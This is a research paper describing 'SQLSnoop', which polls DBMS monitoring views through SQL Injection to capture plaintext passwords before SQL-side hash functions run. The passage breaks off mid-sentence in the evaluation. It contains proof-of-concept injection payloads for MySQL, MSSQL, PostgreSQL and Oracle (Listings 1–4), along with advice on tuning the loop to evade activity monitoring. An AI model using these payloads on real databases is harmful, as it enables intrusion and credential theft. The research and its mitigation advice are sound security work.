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Abstract

SQL Injection is a well-known vulnerability that has persisted in web applications for
decades. A widely held assumption among developers is that even when SQL Injection is
present, hashing or encrypting sensitive data using SQL-provided cryptographic functions,
such as sha256() or md5(), renders stolen data unrecoverable. This paper challenges
that assumption directly. We demonstrate that invoking cryptographic functions within
SQL statements does not protect plaintext credentials against an attacker who already has
SQL Injection access, not because the hash functions are weak but because their plaintext
arguments are transiently exposed in DBMS in-memory monitoring views before the hash
function executes. We exploit this window using a technique that we call SQLSnoop,
which repurposes built-in SQL looping constructs to poll the monitoring view at high
frequency within a single injected statement. We demonstrate SQLSnoop against four
major RDBMS platforms: MySQL, MSSQL, Oracle, and PostgreSQL. Systematic quantitative
evaluation is conducted on MySQL, while feasibility on MSSQL, Oracle, and PostgreSQL
is confirmed through working Proof-of-Concept implementations against each platform’s
respective in-memory monitoring view. Our evaluation on MySQL shows attack success
rates consistently above 90%, reaching 100% at 1.2 or more virtual CPU cores, and holding
across all four Data Manipulation Language operations. The key practical implication is
that SQL-layer hashing is fundamentally insufficient as a defense against SQL Injection,
and sensitive data must be hashed at the application layer before the SQL statement
is constructed.

Keywords: view table exploitation; PROCESSLIST vulnerability; database query interception;
credential theft; real-time monitoring; hashing bypass

1. Introduction
SQL Injection has remained one of the most persistent threats to web application secu-

rity for decades. The vulnerability arises when applications fail to separate client-supplied
data from server-side SQL commands, typically due to inadequate input sanitization dur-
ing query construction. The Open Web Application Security Project (OWASP) ranked
injection vulnerabilities first among the top ten security risks in 2017 and third in 2021 [1],
reflecting how deeply this problem is embedded in modern web development. OWASP also
maintains a dedicated SQL Injection prevention cheat sheet [2] that developers continue to
refer to widely. Even widely adopted frameworks such as Django require careful handling
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to avoid introducing SQL Injection flaws [3], and the sheer volume of legacy systems still
in production means that vulnerable codebases are unlikely to disappear in the near future.

In response, a widely accepted defensive practice has emerged: even if an attacker
gains SQL Injection access to a database, sensitive data such as passwords should be stored
only in hashed or encrypted form, rendering stolen records practically useless. SQL itself
supports this through the built-in cryptographic functions md5(), sha256(), and encrypt()
and others that allow developers to hash data directly within the SQL statement before it
reaches permanent storage. This approach has become so commonplace that it is treated
as a fixed safeguard: even a fully compromised database exposes only ciphertext, not
recoverable credentials [2–4].

This paper challenges this assumption. We show that invoking cryptographic functions
within SQL statements does not protect sensitive data against an attacker who already
has SQL Injection access, not because the hash functions themselves are weak but because
the plaintext arguments to those functions are transiently visible before the functions ever
execute. Every major Relational Database Management System (RDBMS) maintains an in-
memory monitoring view that records SQL statements during execution. When a developer
writes MD5(‘secretdata’) inside an SQL statement, the string ‘secretdata’ sits in that
view in plaintext for the duration of query execution—before MD5() has had any effect.
An attacker with SQL Injection capability can read this view continuously, intercepting
credentials in that window. We call this technique SQLSnoop.

The distinction we draw is between what SQL Injection can steal from stored data—
which hashing effectively protects—and what it can steal from the query processing
pipeline, which hashing does not protect at all. Previous work and developer guidance
have addressed the former. The latter remains unexamined. SQLSnoop does not require
breaking any cryptographic primitive. The hash is irrelevant because the plaintext is
captured before the hash runs.

Mounting a practical SQLSnoop attack is non-trivial. The window during which an
SQL statement resides in the monitoring view is brief, and a naive polling attempt will
miss it far more often than not. The technical contribution of this work lies in crafting
SQL payloads that exploit loop-like behavior in database built-in functions—re-purposing
mechanisms such as BENCHMARK() in MySQL, REPLICATE() in MSSQL, GENERATE_SERIES()
in PostgreSQL, and CONNECT BY LEVEL in Oracle—to poll the monitoring view at high
frequency within a single injected statement. This makes the attack reliable under real-
world conditions without requiring repeated round trips to the database over a network.

We demonstrate SQLSnoop against all four major RDBMS platforms: MySQL, MSSQL,
Oracle, and PostgreSQL. In each case, credentials passed to database-side hash functions
are recovered in plaintext despite being stored only as hashes. Our experimental evaluation,
conducted on MySQL across a range of versions and resource configurations, shows attack
success rates consistently above 90% and reaching 100% once the database container has
1.2 or more virtual CPU cores available. The results hold across the INSERT, SELECT, UPDATE,
and DELETE operations, confirming that the vulnerability is not limited to account creation
scenarios. The practical implication for developers is direct: sensitive data must be hashed
at the application layer before the SQL statement is constructed, not inside it.

2. Background
2.1. SQL Injection Attack Types

A database is most susceptible to SQL Injection attacks when it executes dynamically
assembled SQL commands. However, mitigating SQL Injection is not as straightforward
as simply disallowing SQL statements enclosed within quotation marks. There exist more
sophisticated threats, such as second-order SQL Injection [5] and blind SQL Injection [6],
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which pose greater challenges for mitigation efforts. A comprehensive review of detection
and prevention techniques for SQL Injection attacks is provided in [7–9]. Beyond these
well-documented attack categories, tiny oversights or vulnerabilities can be exploited in
unexpected ways in SQL Injection attacks, resulting in a significant impact on the security
and integrity of the database. These vulnerabilities can be exploited in numerous inventive
ways to compromise the database’s defenses.

2.2. DBMS Schema, View Tables, and Data Flow in Web Applications

A database schema serves as a fundamental architectural blueprint for organizing
a database, defining the structure and interconnections among data entities, tables, and
associated data models [10]. Within this schema, views function as virtual tables that
selectively expose subsets of data by projecting only user-required attributes [11]. Modern
RDBMS platforms maintain several system-level views for administrative and monitoring
purposes. In MySQL, for example, INFORMATION_SCHEMA provides a collection of read-
only views that expose server metadata, table definitions, column data types, and access
privileges [12]. Among these, the INFORMATION_SCHEMA.PROCESSLIST view records all SQL
statements currently in execution, including their full query text. The security implications
of this monitoring view in the context of SQL Injection are examined in Section 3.2.

Figure 1 illustrates the data flow within a typical web application, from the client
browser to the database layer, and identifies the critical point at which credential security
diverges between two architectural approaches. When a user submits login credentials,
the username and password are transmitted from the browser to the web server as an
HTTP POST request. The web server forwards this request to the application server, which
constructs and sends an SQL statement to the database.

Figure 1. Data flow from client to database illustrating two credential hashing architectures and their
divergent security properties under SQL Injection. Path A (red): the application server transmits the
plaintext credential as an argument to a database-side hash function, e.g., MD5(‘secretdata’). The
SQL statement is registered in INFORMATION_SCHEMA.PROCESSLIST prior to hash execution, exposing
the plaintext parameter during the SQLSnoop interception window τsql. Path B (blue): the hash is
computed at the application layer before SQL transmission; only the ciphertext reaches the DBMS,
and PROCESSLIST contains no recoverable plaintext. Both paths produce an identical stored hash
value; the vulnerability in Path A arises solely from the timing of hash computation relative to query
registration in the monitoring view.
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To protect sensitive data at rest, any plaintext credential received by the application
server must be stored in hashed or encrypted form within the database [13]. Two distinct
approaches exist for achieving this, and their security properties under SQL Injection
differ fundamentally.

In Path A (depicted in red in Figure 1), the application server passes the plaintext
credential directly as an argument to a cryptographic function provided by the database
within the SQL statement itself, for example:

INSERT INTO users VALUES ('victim1', hash('secretdata'));

In Path B (depicted in blue), the application server computes the hash indepen-
dently before constructing the SQL statement, transmitting only the resulting ciphertext to
the database.

INSERT INTO users VALUES ('victim1', '5ebe2294ecd0...');

Although both paths store an identical hash value in permanent database storage,
they differ critically in what is transiently registered in the DBMS monitoring view during
query execution. In Path A, the full SQL statement containing the plaintext argument
‘secretdata’ is written to INFORMATION_SCHEMA.PROCESSLIST at the moment of query
receipt, before the hash function executes. This creates a brief but exploitable window
τsql during which the plaintext credential is accessible to any party capable of reading the
process list. In Path B, no plaintext ever reaches the DBMS layer, and the process list entry
exposes only ciphertext, rendering any interception attempt ineffective.

This paper demonstrates that an attacker with SQL Injection capability can systemati-
cally exploit this window in Path A by polling PROCESSLIST at high frequency—a technique
we term SQLSnoop. Critically, this attack does not require breaking the underlying hash
function. The cryptographic strength of MD5() or SHA256() is irrelevant; the plaintext is
intercepted before cryptographic processing begins. The distinction between Path A and
Path B thus represents not merely a stylistic implementation choice but a fundamental
security boundary, the implications of which are examined throughout this paper.

3. SQLSnoop Design and Practicality
In this section, we explain the technical design of SQLSnoop and discuss its practicality

in a real-world attack scenario. Figure 2 depicts the simplified steps of the SQLSnoop attack,
which steals supposedly-encrypted user password information from a DBMS. The attack
proceeds as follows:

Step ➀: The attacker crafts the SQLSnoop payload and delivers it to the target system
through an SQL Injection vulnerability.

Step ➁: The injected payload begins to execute inside the DBMS, repeatedly polling
the in-memory view table to intercept any concurrently executing SQL statements.

Step ➂: The victim triggers a sign-up or login action, causing the web application to
assemble and submit an SQL query containing the plaintext password as an argument to a
database-side hash function (e.g., hash(‘thisissecret’)).

Step ➃: The DBMS receives the assembled SQL query and registers it in the Memory-
Backed View Table prior to execution. At this moment, the plaintext argument is transiently
visible in the view.

Step ➄: The SQLSnoop payload detects the victim’s query in the view table, applies
a filter to exclude its own entries, and captures the plaintext credential before the hash
function executes.

Step ➅: In conjunction with Step ➄, the DBMS executes the hash function and writes
the resulting ciphertext to the File-Backed Main Table. The plaintext credential is never
written to permanent storage.
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Step ➆: Once execution is complete, the query is flushed from the view table. The
attacker retains the captured plaintext credential, while the database holds only the hash.

Figure 2. SQLSnoop Attack Flow. The attacker intercepts plaintext credentials from the Memory-
Backed View Table before the database-side hash function executes.

In short, SQLSnoop bypasses DBMS-side encryption and hashing by intercepting the
SQL query on the fly, during the window between query registration in the view and hash
function execution. In the following sections, we investigate the practicality of this attack
under real-world conditions.

3.1. SQLSnoop Attack Probability

The key principle of SQLSnoop is based on the transient nature of real-time DBMS data,
which exists only briefly within in-memory database views. Consequently, intercepting
SQL statements from these views is inherently challenging.

To increase the chances of a successful SQLSnoop, it is necessary to perform SQLSnoop
statements repetitively, as depicted in Figure 3. In Figure 3, the red lines signify each
instance in which the view was accessed to fetch an executing SQL statement. A blue
block represents the presence of an SQL statement in a DBMS view, with the block’s length
denoting the statement’s lifespan in the view. The lifespan is the cumulative duration,
which encompasses the time required for the SQL statement to execute and the time needed
for it to be flushed from the view.
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Figure 3. Conceptual Diagram of SQLSnoop Attack. SQLSnoop attempts (in red) are repeated to
target temporary data (in blue) within view tables.

The fourth SQL statement is successfully snooped since the red line intersects with
the blue block. Conversely, the last SQL statement remains secure as the view was not
accessed while the statement was present. The probability of successfully snooping an SQL
statement increases as the lifespan of the statement in the view extends and the period of
SQLSnoop attempts decreases. If the statement’s lifespan exceeds the snooping period, it
will invariably be intercepted. This probability can be defined as follows:

Psnoop =


1, if τsql ≥ Tsnoop

τsql

Tsnoop
, else

(1)

The duration required to flush an SQL statement from the view is contingent on an
undisclosed algorithm and, thus, is beyond our purview. However, the execution time of
an SQL statement can be logically calculated, relying on factors such as the statement’s
load, the DBMS scheduling, and the hardware performance allocated for the task. Similarly,
the duration of SQLSnoop is subject to the same factors when the SQLSnoop statement is
executed in a loop within the database. If the SQLSnoop statement is transmitted in a loop
from the remote attacker’s code to the database, the snooping period would substantially
increase due to the overhead associated with network data transmission delay, in addition
to SQL-irrelevant processing times at intermediary nodes.

In our threat assessment, we seek to evaluate the viability of our attack in snooping
victim SQL statements within the brief window during which they appear in the view. In
theory, the computational overhead introduced by hash functions such as MD5 increases
the execution time of the SQL statement, thereby extending the window during which the
statement remains visible in the view.

3.2. View Tables

Our research focus is particularly directed toward views designed to transiently store
SQL statements during their execution. In particular, all four main Relational Database
Management Systems (RDBMSs), namely MySQL, MSSQL, Oracle, and PostgreSQL, in-
corporate views that can be exploited to intercept SQL Statements during execution, as
comprehensively outlined in Table 1.
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Table 1. SQL Statement Views and Privilege Requirements across Major RDBMS Platforms.

DBMS Reserved Name of View Privilege Req.

MySQL INFORMATION_SCHEMA.PROCESSLIST None (default access)
MSSQL sys.dm_exec_sql_text None (default access)
Oracle V$SQL Required
PostgreSQL pg_stat_activity None (default access)

For instance, MySQL’s INFORMATION_SCHEMA.PROCESSLIST includes an INFO col-
umn, providing read access to the SQL statement that is currently being executed by
a thread [14]. Similarly, in MSSQL, the dynamic management view of the system (e.g.,
sys.dm_exec_requests) provides an sql_handle column [15], which can be used as an
argument for another system dynamic management view (e.g., sys.dm_exec_sql_text),
thus revealing the text column containing the current running SQL query [16]. Oracle’s
dynamic performance view (e.g., V$SQL) provides an SQL_FULLTEXT column, which offers
analogous functionality, granting access to the running SQL query as a string [17]. Finally,
within PostgreSQL, the dynamic statistics view (e.g., pg_stat_activity) provides a query
column that facilitates the retrieval of executed SQL statements in a similar fashion [18].

Aside from Oracle, all DBMSs by default grant access to these view tables. In Or-
acle, the V$SQL view is part of the dynamic performance views accessible through the
SELECT_CATALOG_ROLE role [17]. This is the minimum privilege required: an attacker who
has obtained SQL Injection access and holds SELECT_CATALOG_ROLE can read V$SQL with-
out requiring full DBA or SYSDBA privileges. While the principle of least privilege may
prevent arbitrary database users from holding this role, it is commonly granted to appli-
cation accounts and monitoring users in enterprise deployments, making it a plausible
assumption in many real-world configurations.

3.3. Experiment Design

To investigate the practicality of the SQLSnoop technique, we designed an experi-
mental system. Specifically, we simulated commodity servers using physical nodes with
a system architecture consisting of four Docker containers: attack, user, backend, and
database (we also use these keywords as container names throughout this paper). While
it is customary to have both front-end web and backend servers, our experiment sim-
plified this configuration by having only a backend server, with user requests directly
transmitted to it. Figure 4 illustrates the overall layout and evaluation parameters of the
experiment, where solid arrows represent attacker-controlled flows and dashed arrows
represent victim-triggered flows.

• Step ➀: The attack container sends the SQLSnoop payload to the backend server
via a solid arrow, representing the attacker-controlled flow. Within our threat model,
we assume the attacker possesses the capability to execute complete SQL payloads
through SQL Injection (some SQL Injection vulnerabilities do not allow the attacker to
execute a full SQL statement; this is discussed further in Section 6). For convenience,
we implemented a backdoor on the backend server to receive SQLSnoop queries from
the attack container, simulating the SQL Injection vulnerability.

• Step ➁: The backend server forwards the SQLSnoop payload to the database (ar-
row ➁). The payload is designed to iterate snooping attempts continuously and
intercept any victim SQL statement containing sensitive information. Detailed im-
plementation is explained in Section 4.2. The number of iterations was adjusted to
ensure that the SQLSnoop payload remained active throughout the execution window
of all targeted SQL statements. Once inside the DBMS, the payload enters the READ
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PROCESSLIST loop, repeatedly checking the in-memory view for any concurrently
executing SQL statements that do not belong to the attacker itself.

• Step ➂ (victim side): Independently and concurrently, the user container initiates
one of the backend RESTful APIs via a dashed arrow, providing randomly generated
usernames and passwords. This represents the victim-triggered flow—the user has no
knowledge of the ongoing attack.

• The backend constructs and forwards the victim’s SQL statement to the database
(arrow ➃), where it is temporarily stored in the PROCESSLIST view prior to execution.
In this step, we use SQL-provided cryptographic APIs as discussed in Section 2.2.
Sensitive data is passed as a plaintext argument to encryption functions such as MD5()
within the SQL statement, for example MD5(‘thisissecret’). As the SQL command
is registered in the DBMS view, it becomes passively available to the attacker’s loop.

• If the password were instead hashed at the backend without using the SQL-provided
API, the database would receive the SQL query with already-hashed data from the
outset, and no plaintext would ever appear in the view. We argue this is the most
practical mitigation against SQLSnoop. We discuss mitigation issues in more detail in
Section 6.

• The SQLSnoop loop running inside the DBMS detects the victim’s query in the PRO-
CESSLIST view, applies a filter to exclude its own entries, and captures the plaintext
credential before the hash function executes. Once the loop reaches the configured
iteration limit N, execution completes and the query result is returned to the backend
(arrow ➄).

• Finally, the result is sent as part of an HTTP response to the attack container. Upon
a successful attack, the SQL statement invoked by the user—including the sensitive
plaintext credential —is exposed to the attacker, while the database stores only the
resulting hash value.

Figure 4. Experiment System Design Diagram. The experiment was structured with four Docker
containers, each simulating a physical machine in a real-life scenario. Solid arrows indicate attacker-
controlled flows; dashed arrows indicate victim-triggered flows.

To summarize the experiment system design, we defined attacker and victim actions
and deployed multiple Docker-based servers and clients to simulate the vulnerable system,
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the attacker, and the victim. The two flows operate concurrently and independently: the
attacker’s payload runs a continuous polling loop inside the DBMS while the victim submits
credentials through the backend in the normal course of a sign-up or login action. We
also applied various evaluation parameters—including vCore allocation, MySQL version,
DML operation type, table size, and SQL statement length—to precisely measure the
attack success rate under multiple environmental configurations. We use the term payload
throughout this paper to refer to the SQLSnoop SQL query that performs the interception.

4. Implementation
4.1. Infrastructure

As described in Section 3.3, multiple Docker container nodes are used to build the
simulated system. All nodes are deployed as virtual instances on a single physical machine.
The system specifications are summarized in Table 2.

Table 2. Hardware Specifications of the Evaluation Workstation. The operating system is Ubuntu
22.04 Server.

Component Specification

CPU AMD Ryzen 9 5900X 12-Core Processor
Number of vCores 24
Base Clock 3.7 GHz
RAM 4 × (32 GB 3200 MHz PC4-25600 DDR4)
SSD 2 TB PCIe Gen4 NVMe

4.2. Crafting SQLSnoop Attack Payload

Our SQLSnoop query has been carefully designed to iterate through the selection of
SQL statements currently in execution within the DBMS view. While executing this state-
ment, it is important to note that the SQLSnoop statement itself is also momentarily present
in the DBMS view. Therefore, a WHERE clause is specifically constructed and added to the
statement to exclude the SQLSnoop statement itself (co-existing inside the view alongside
the victim statement). Subsequently, the snooped SQL statements are concatenated into a
result set, which will later be transmitted back to the attacker. A notable challenge persists:
determining how to effectively run a loop-based query via an SQL Injection vulnerability.

In INSERT, SELECT, UPDATE, DELETE statements, DBMSs do not inherently offer fea-
tures designed for the repetition of SQL commands, which can be leveraged in SQL Injection.
Nevertheless, certain features, originally not intended for SQL command repetition, can be
ingeniously integrated into an SQL Injection payload to facilitate the iterative access of the
DBMS view. For example, in MySQL, the benchmark() function can be utilized to iterate
snoop attempts. We provide four Proof-of-Concept code snippets for the SQLSnoop attack
payload for MySQL, MSSQL, PostgreSQL, and Oracle in Listings 1–4.

All Proof-of-Concept SQLSnoop attack payloads have a similar structure but different
details/syntax for each DBMS. For example, while benchmark() is utilized to loop the
snooping query, replicate() is utilized as an alternative with a slightly different syntax
structure. In all cases, all Proof-of-Concept code shows that SQLSnoop requires (i) loop
implementation, (ii) string concatenation, and (iii) filtering logic to exclude the attack
statement itself.

Listing 1 demonstrates the MySQL implementation, where BENCHMARK() is repurposed
to drive the snooping loop. The GROUP_CONCAT() function accumulates captured SQL
statements, and a WHERE clause with a unique string filters out the SQLSnoop query itself.
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Listing 1: Simplified Proof-of-Concept SQLSnoop code snippet against MySQL.

1 SELECT @Result = ""
2 UNION
3 SELECT Benchmark(100000,
4 -- Built-in functions for implementing loop
5 (@TempResult :=
6 (SELECT GROUP_CONCAT(`INFO`) FROM `information_schema`.`PROCESSLIST`
7 -- Bring SQLs from view except SQLSnoop related ones
8 WHERE `INFO` NOT LIKE "%UNIQUE_STRING%"
9 -- Filter out SQLSnoop related queries

10 OR SLEEP(0)
11 -- Prevent caching query results
12 )
13 )
14 ^ IF(
15 (@TempResult != 0x00)
16 -- Check if there are snooped SQLs
17 && (@Result NOT LIKE CONCAT("%", @TempResult, "%")),
18 -- Filter out duplicates
19 @Result := CONCAT(@Result, @TempResult),
20 -- Concatenate snooped results
21 0
22 )
23 )
24 UNION
25 SELECT @Result

Listing 2 shows the MSSQL variant, which uses REPLICATE() to implement the loop.
Unlike MySQL, MSSQL requires CROSS APPLY with sys.DM_EXEC_SQL_TEXT() to retrieve
the full SQL text from an execution handle.

Listing 2: Simplified Proof-of-Concept SQLSnoop code snippet against MSSQL.

1 SELECT REPLICATE(
2 -- Built-in functions for implementing loop
3 (SELECT `sqltext`.`text` FROM `sys`.`dm_exec_requests`
4 -- Get SQL handle for view table except SQLSnoop related ones
5 CROSS APPLY `sys`.DM_EXEC_SQL_TEXT(sql_handle) AS sqltext
6 -- Read SQL query from handle
7 WHERE `text` NOT LIKE '%UNIQUE_STRING%'
8 -- Filter out SQLSnoop related queries
9 ), 100000

10 )

Listing 3 presents the PostgreSQL implementation, where GENERATE_SERIES() pro-
vides the loop mechanism. The pg_stat_activity view is queried directly, and
PG_BACKEND_PID() is used to exclude the attacker’s own session.

Listing 4 covers the Oracle implementation, which uses the CONNECT BY LEVEL clause
to construct the loop. Oracle’s V$SQL view is queried via LISTAGG() to concatenate the
captured SQL statements.
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Listing 3: Simplified Proof-of-Concept SQLSnoop code snippet against PostgreSQL.

1 SELECT ""
2 UNION
3 SELECT(
4 SELECT ARRAY_TO_STRING(ARRAY(
5 -- Concatenate the result
6 SELECT `query` FROM `pg_stat_activity`
7 -- Read SQL in view table except SQLSnoop related ones
8 WHERE `pid` != PG_BACKEND_PID()
9 -- Filter out SQLSnoop queries from results

10 AND `query` != "<insufficient privilege>")
11 -- Filter out insufficient privileged queries
12 , '::')
13 )
14 FROM GENERATE_SERIES(1, 100000)
15 -- Built-in function used to implement loop

Listing 4: Simplified Proof-of-Concept SQLSnoop code snippet against Oracle.

1 SELECT CONCAT('', (SELECT LISTAGG(`SQL_FULLTEXT`, '::')
2 -- Concatenate the result
3 FROM `v$sql` WHERE 1 = 1)
4 -- Read SQL from view table except SQLSnoop related ones
5 ) FROM `dual`
6 WHERE LEVEL > 1 CONNECT BY LEVEL <= 100000
7 -- Built-in clause used to implement loop

4.3. Nodes

In this subsection, we delve into the implementation details of the Docker container-
based nodes and explain their detailed usage for the evaluation.

4.3.1. Attack Node

The attack node is mainly composed of a Python 3.10 script, taking the DBMS
type and the desired number of iterations as arguments. The script is responsible for
dispatching the SQLSnoop payload to the backend server using the Python requests
module. Subsequently, it awaits the server’s response and analyzes the returned results to
determine the number of successfully snooped SQL statements.

4.3.2. User Node

Similarly, the user node functions by executing a Python script that repeatedly sends
randomly generated user information to the backend server. The script accepts the number
of user information entries to be sent to the server as an argument. These randomly
generated user details are transmitted to the backend server in the form of a JSON payload
via Python requests.

4.3.3. Backend Node

The backend node plays a dual role within our test system. First, it serves as a Spring
Boot backend responsible for handling user requests. Depending on the RESTful API
invoked by the user container, the backend uses the user information to generate and
execute SQL commands for actions such as insertion, selection, updating, and deletion in
the database. Second, the backend node provides an intentional backdoor as a simulation of
the SQL Injection vulnerability provided to the attacker to execute the malicious SQLSnoop
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payload. In both cases, the backend container establishes a connection with the database
using the JDBC protocol.

4.3.4. Database Node

For the database node, we simply utilize the Docker container images from the official
Docker Hub repository [19]. We do not modify these database images in any way so that
we can prove that our attack works against real-world server environments.

5. Evaluation
To evaluate the extent to which SQLSnoop is practical, we designed a simulated

web-application attack environment based on MySQL, one of the most widely deployed
DBMS platforms in the market. We also tested if the SQLSnoop technique can intercept
SQL statements for the most prevalent insert, select, update, and delete (i.e., Data
Manipulation Language operations).

5.1. Attack Success Rate

To rigorously quantify the SQLSnoop threat, we introduce the attack success rate
Psnoop, defined as:

Psnoop =
Nsnooped

Nexecuted
(2)

where Nsnooped denotes the number of successfully intercepted SQL statements, and
Nexecuted denotes the total number of SQL statements executed during the attack.

Since most commodity servers impose time limits on SQL execution, measuring
success rates over millions of statements is impractical. We therefore used a sample
size of 1000 SQL statements per experiment, large enough to yield meaningful statistics
while remaining within server time constraints. We also carefully adjusted the number of
SQLSnoop iterations to ensure the payload remained active throughout the entire execution
window of all targeted statements.

We conducted 30 repetitions per experiment to calculate standard deviations. The
following subsections investigate the factors affecting Psnoop within a MySQL environment.

5.2. Attack Success Rate Depending on MySQL Version

A critical aspect of assessing the threat level posed by SQLSnoop is determining
whether its success is contingent on the specific version of the database. To comprehensively
analyze the influence of the database version on the attack success rate, we conducted
experiments in which every other variable was controlled, including the number of vCores
(virtual cores) allocated to the container.

In these experiments, our focus was on SQL insert statements comprising two attributes:
username and password, each consisting of 10 lowercase letters (a–z).

Although no significant differences were observed between the various database
versions, it is worth noting that the standard deviation decreased in all versions as the
container was assigned more vCores, simultaneously achieving a higher success rate. The
standard deviation reached zero when the success rate reached 1.0, indicating a highly
stable and predictable performance under these conditions. Figure 5 presents the attack
success rate across MySQL versions under three vCore configurations.

Our analysis covered three different vCore settings: 0.5, 1.0, and 1.5 vCores allocated
to the database container. The results showed that the success rate remained exceedingly
high across all versions of the database, consistently exceeding 0.9. Remarkably, this high
success rate persisted even when the container had only 0.5 vCores and reached a perfect
score of 1.0 in all versions when the container was allocated 1.5 vCores.
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The MySQL versions selected for this evaluation span several major release cycles,
covering versions 5.5, 5.6, 5.7 and 8.0. These versions represent a wide deployment range
in real-world production environments, from legacy systems still running on 5.6 to modern
deployments on 8.0 and beyond. By testing across this range, we ensure that the results
reflect the vulnerability as it exists across the actual installed base of MySQL servers, rather
than a single controlled version. The INFORMATION_SCHEMA.PROCESSLIST view, which
SQLSnoop relies upon, has been present and accessible in all these versions without
structural changes, making version-independent exploitability a reasonable hypothesis
to evaluate.

Figure 5. Attack Success Rate Depending on MySQL Version. The success rate was exceptionally
high across all versions, consistently exceeding 0.9, even when the container had only 0.5 vCores at
its disposal.

Understanding whether SQLSnoop’s effectiveness varies across database versions is
particularly important from a threat modeling perspective. A version-dependent attack
would allow administrators to mitigate the threat simply by upgrading or downgrading
their DBMS. If, however, the attack succeeds consistently across all tested versions, it implies
that the underlying vulnerability is architectural rather than implementation-specific, and
it cannot be resolved through routine software updates alone. This distinction has direct
implications for the urgency and nature of any recommended countermeasures.

5.3. Attack Success Rate Depending on the Number of vCores Allocated to the Database Container

To explore the relationship between the success rate and the number of vCores allo-
cated to the database container, we conducted experiments using MySQL version 8.0. We
targeted the same SQL insert statement used in Section 5.2, but this time, we examined its
performance under varying vCore settings.

The number of vCores allocated to a Docker container directly controls how much
CPU time the containerized process can consume. When a database container operates
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under tight CPU constraints, the DBMS scheduler must time-share the available processing
capacity across competing tasks—including both the SQLSnoop polling loop and the
victim’s incoming SQL statements. This scheduling contention creates irregular timing
gaps between consecutive view accesses, which in turn reduces the probability that any
given victim SQL statement will be observed during its brief residence in the PROCESSLIST
view. Conversely, when sufficient CPU resources are available, the SQLSnoop loop can
execute continuously without interruption, maximizing the frequency of view polling and
thus the likelihood of interception.

In our evaluation, we varied the vCore allocation from 0.1 to 2.0 vCores, covering a
range that spans severely resource-constrained deployments to moderately provisioned
production-like environments. This range was chosen to identify the minimum resource
threshold at which the attack achieves perfect reliability, as well as to characterize at-
tack behavior under the kind of limited resource conditions common in containerized
microservice deployments.

Our findings revealed a clear pattern: as the number of vCores allocated increased, the
attack success rate increased correspondingly, steadily climbing until it reached a perfect
score of 1.0. In particular, we observed that this threshold was reached when the container
was allocated 1.2 vCores. Figure 6 illustrates the relationship between the number of
allocated vCores and the attack success rate.

Notably, we also discovered that the attack success rate was unexpectedly high at
0.8594 when the container had only 0.1 vCore allocated. This observation suggests that
SQLSnoop can perform remarkably well even when the database is operating with limited
computational resources.

Figure 6. Attack Success Rate Depending on the Number of vCores Allocated to the Database
Container. The success rate exhibited a positive correlation with the number of vCores allocated to
the database container.
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To gain a deeper understanding of the significance of this 1.2 threshold, we conducted
an experiment in which we assigned 16 vCores to the database container and executed the
SQLSnoop statement while continuously sending SQL insert requests to the database. This
analysis revealed that CPU usage approached approximately 117% as shown in Table 3,
indicating that up to 1.17 vCores, the container lacked sufficient CPU resources and had to
depend on scheduling logic to process requests. This reliance occasionally led to increased
time gaps between accessing the view table, resulting in a reduced attack success rate.

Table 3. Observed Resource Utilization of the MySQL Container During High-Load SQLSnoop
Execution.

Metric Value Unit Remarks

CPU Usage 117.22 % Indicates CPU saturation beyond
single core

Memory Usage 363.8/125.7 MiB/GiB Very low relative usage
Memory Utilization 0.28 % Negligible memory pressure

This phenomenon further clarifies why the success rate remains constant at 1.0 when
the container is allocated greater than or equal to 1.2 vCores. In such scenarios, the view is
accessed consistently without interruption, allowing for the successful interception of all
executed SQL commands.

The observed trend in the standard deviation can also be explained by taking into
account the role of DBMS scheduling. As the number of vCores allocated to the database
container increased, not only did the attack success rate improve, but there was also a
general decrease in the standard deviation. However, there was one notable exception when
vCores increased from 0.7 to 1.0, resulting in a slight increase in the standard deviation.

The overall decline in the standard deviation can be attributed to the reduced depen-
dence of the container on scheduling logic, which, in turn, introduces instability in our
SQLSnoop attack. When the database relies more heavily on scheduling, it allows a series
of user-invoked SQL commands to be executed consecutively without any opportunities
for SQLSnoop attempts to be made. This dynamic situation contributes to the observed
pattern in the standard deviation between different vCore settings.

CPU Utilization and Stealth Considerations. The observed CPU usage of ap-
proximately 117% during active SQLSnoop execution raises a practical consideration for
real-world deployments: sustained CPU saturation at this level may trigger anomaly-based
monitoring alarms in enterprise environments with database activity monitoring (DAM)
systems. This represents an inherent trade-off between attack reliability and stealth. At
lower vCore allocations (e.g., below 0.5 vCores), CPU saturation is reduced and the attack
becomes less conspicuous, though success rates decline accordingly as shown in Figure 6.
Conversely, at 1.2 or more vCores, success rates reach 1.0 but at the cost of higher CPU
visibility. An attacker seeking stealth may therefore calibrate the iteration count of the
SQLSnoop payload to operate below the saturation threshold, accepting a lower success
rate in exchange for reduced detectability. This trade-off between attack intensity and
evasion is an important direction for future work on SQLSnoop countermeasures.

5.4. Attack Success Rate Depending on the Execution Time of Statements

As discussed in Section 3.1, it was established that an increase in the execution time
of SQL commands makes them more susceptible to SQLSnoop attacks. To investigate this
phenomenon, we designed an experiment using SQL select statements. Specifically, we
focused on the select SQL queries executed on tables of different sizes, as the execution
time of such queries varies significantly with the table size.
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In this experiment, conducted with MySQL version 8.0, we allocated 2 vCores to the
database. The user table, which we used as the basis for this analysis, contained entities
ranging from 1 to 107.

The results of our experiment were striking. Even with just a single entity in the
table, where the SQL select command executes almost instantaneously, it was consistently
intercepted by SQLSnoop, highlighting the attack’s remarkable efficiency. As expected,
the attack success rate remained at a perfect 1.0, with a standard deviation of zero, as
the number of entities increased in the table. This result is consistent with the 1.2 vCore
saturation threshold established in Section 5.2: with 2 vCores allocated, the view table is
accessed without interruption regardless of the execution time of the statement, resulting
in Psnoop = 1.0 in all tables tested.

5.5. Attack Success Rate Depending on the Length of SQL Statements

In this experiment, our objective was to explore both factors discussed in Section 3.1,
specifically, the execution time of the SQL statements and the period of SQLSnoop attempts.
We utilized MySQL version 8.0 and allocated 2 vCores to the database, as in previous ex-
periments. However, this time, we used an insert statement with three columns: username,
password, and blob. For experimental purposes, the blob column was long-text-type,
and we examined how the size of the blob affected the success rate. The usernames and
passwords each consisted of 10 lowercase alphabet letters as before.

In this scenario, as the size of the blob increases, the time required to insert data into
the database also increases. Furthermore, due to our implementation of the SQLSnoop
attack, in which snoop queries are repeated and snooped results are concatenated, there was
a noticeable increase in the time gap between accessing the DBMS view as more snooped
queries accumulated in the results. Figure 7 shows the attack success rate as a function of
blob size for three insert count settings.

It is crucial to distinguish between two key factors at play here: First, the execution
time of the insert command is primarily influenced by the size of the blob. Second, the
execution time of the SQLSnoop command is influenced by both the blob size and the
number of snooped SQL statements. To account for this distinction, we conducted our
